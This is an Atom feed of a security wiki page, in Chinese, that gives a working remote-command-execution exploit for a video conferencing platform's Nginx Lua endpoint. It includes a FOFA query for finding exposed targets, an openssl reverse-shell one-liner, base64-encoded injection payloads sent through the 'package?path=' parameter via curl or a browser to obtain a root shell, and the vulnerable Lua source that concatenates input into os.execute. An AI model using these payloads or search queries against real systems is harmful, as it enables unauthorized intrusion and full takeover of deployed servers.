<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=%E5%B0%8F%E9%AD%9A%E6%98%93%E9%80%A3%E8%A6%96%E9%A0%BB%E7%B3%BB%E7%B5%B1-Nginx_LUA%E8%85%B3%E6%9C%AC%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-cn</id>
	<title>小魚易連視頻系統-Nginx LUA腳本遠程命令執行漏洞/zh-cn - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=%E5%B0%8F%E9%AD%9A%E6%98%93%E9%80%A3%E8%A6%96%E9%A0%BB%E7%B3%BB%E7%B5%B1-Nginx_LUA%E8%85%B3%E6%9C%AC%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-cn"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=%E5%B0%8F%E9%AD%9A%E6%98%93%E9%80%A3%E8%A6%96%E9%A0%BB%E7%B3%BB%E7%B5%B1-Nginx_LUA%E8%85%B3%E6%9C%AC%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn&amp;action=history"/>
	<updated>2026-04-24T11:19:35Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=%E5%B0%8F%E9%AD%9A%E6%98%93%E9%80%A3%E8%A6%96%E9%A0%BB%E7%B3%BB%E7%B5%B1-Nginx_LUA%E8%85%B3%E6%9C%AC%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn&amp;diff=4225&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;构造“package?path=”路径下命令执行语句，将上面反弹shell命令进行base64加密。&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=%E5%B0%8F%E9%AD%9A%E6%98%93%E9%80%A3%E8%A6%96%E9%A0%BB%E7%B3%BB%E7%B5%B1-Nginx_LUA%E8%85%B3%E6%9C%AC%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn&amp;diff=4225&amp;oldid=prev"/>
		<updated>2021-06-07T01:24:08Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;构造“package?path=”路径下命令执行语句，将上面反弹shell命令进行base64加密。&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==FOFA==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
title=&amp;quot;云视讯管理平台&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==漏洞利用==&lt;br /&gt;
找到页面了之后寻找该该系统的OpenReaty页面，一般都在其他端口上。&lt;br /&gt;
&lt;br /&gt;
然后本地进行openssl监听：&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes&lt;br /&gt;
&lt;br /&gt;
openssl s_server -quiet -key key.pem -cert cert.pem -port 443&lt;br /&gt;
&lt;br /&gt;
mkfifo /tmp/s; /bin/sh -i &amp;lt; /tmp/s 2&amp;gt;&amp;amp;1 | openssl s_client -quiet -connect &amp;lt;IP&amp;gt;:&amp;lt;PORT&amp;gt; &amp;gt; /tmp/s; rm /tmp/s&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
构造“package?path=”路径下命令执行语句，将上面反弹shell命令进行base64加密。&lt;br /&gt;
&lt;br /&gt;
1、请求目机机器上执行命令有三种方法：&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
curl：curl &amp;quot;http://ip/package?path=`echo bWtmaWZvIC90bXAvczsvYmluL2Jhc2ggLWkgPCAvdG1wL3MgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMC42Mi45Ni4yMzY6ODg4ID4gL3RtcC9zO3JtIC1mIC90bXAvcw== | base64 -d | sh`&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2、直接web上面请求：&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://ip/package?path=echo bWtmaWZvIC90bXAvczsvYmluL2Jhc2ggLWkgPCAvdG1wL3MgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMC42Mi45Ni4yMzY6ODg4ID4gL3RtcC9zO3JtIC1mIC90bXAvcw== | base64 -d | sh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
3、burpsuite抓包拦截请求，同web一样。&lt;br /&gt;
&lt;br /&gt;
burpsuite抓上面的请求会返回302，然后跳转404。监听服务器返回ROOT权限shell。&lt;br /&gt;
&lt;br /&gt;
==详细分析==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
netstat -anvp | grep :80&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
返回结果如下：&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      16554/nginx: mas&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
运行在 80 端口的程序为 nginx，在宿主机中寻找 nginx 程序：&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 find / -name nginx&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
发现宿主机中没有运行 nginx&lt;br /&gt;
&lt;br /&gt;
于是尝试进入 k8s 中的容器寻找响应服务：&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 docker ps | grep openresty&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
返回如下：&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
b61e91356e49    &amp;quot;/usr/local/openresty&amp;quot; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
最终在 k8s 中的 openresty 容器中发现了 nginx 程序/usr/local/openresty/nginx，查询 nginx 配置文件，发现配置文件当中引用了一行 lua 脚本：&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
location = /package {&lt;br /&gt;
                proxy_set_header Host $host:$server_port;&lt;br /&gt;
                proxy_set_header X-Real-IP $remote_addr;&lt;br /&gt;
                proxy_set_header X-Nginx-IP $server_addr;&lt;br /&gt;
                limit_req zone=normalfrequ burst=20 nodelay;&lt;br /&gt;
                content_by_lua_file lua/package.lua;&lt;br /&gt;
          }&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
查询该文件并查看文件内容 &amp;lt;code&amp;gt;cat /usr/local/openresty/nginx/lua/package.lua&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
local package_absolute_path = '/var/log/logs.tar.gz'&lt;br /&gt;
local path = ngx.req.get_uri_args().path&lt;br /&gt;
if nil == path then&lt;br /&gt;
    path = '/logs'&lt;br /&gt;
end&lt;br /&gt;
os.execute('rm -rf ' .. package_absolute_path)&lt;br /&gt;
os.execute('tar -zcvPf ' .. package_absolute_path .. ' ' .. path)&lt;br /&gt;
ngx.redirect('/log/logs.tar.gz?' .. os.time())&lt;br /&gt;
print('rm -rf ' .. package_absolute_path)&lt;br /&gt;
os.execute('rm -rf ' .. package_absolute_path)&lt;br /&gt;
return&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
在配置文件中直接对path参数传入的字符串与rm -rf等命令进行拼接，没有进行文件白名单等过滤，攻击者可以通过构造特殊字符串对命令进行闭合，从而造成Linux命令注入。&lt;br /&gt;
&lt;br /&gt;
==参考==&lt;br /&gt;
&lt;br /&gt;
https://short.pwnwiki.org/?c=bPShOE&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>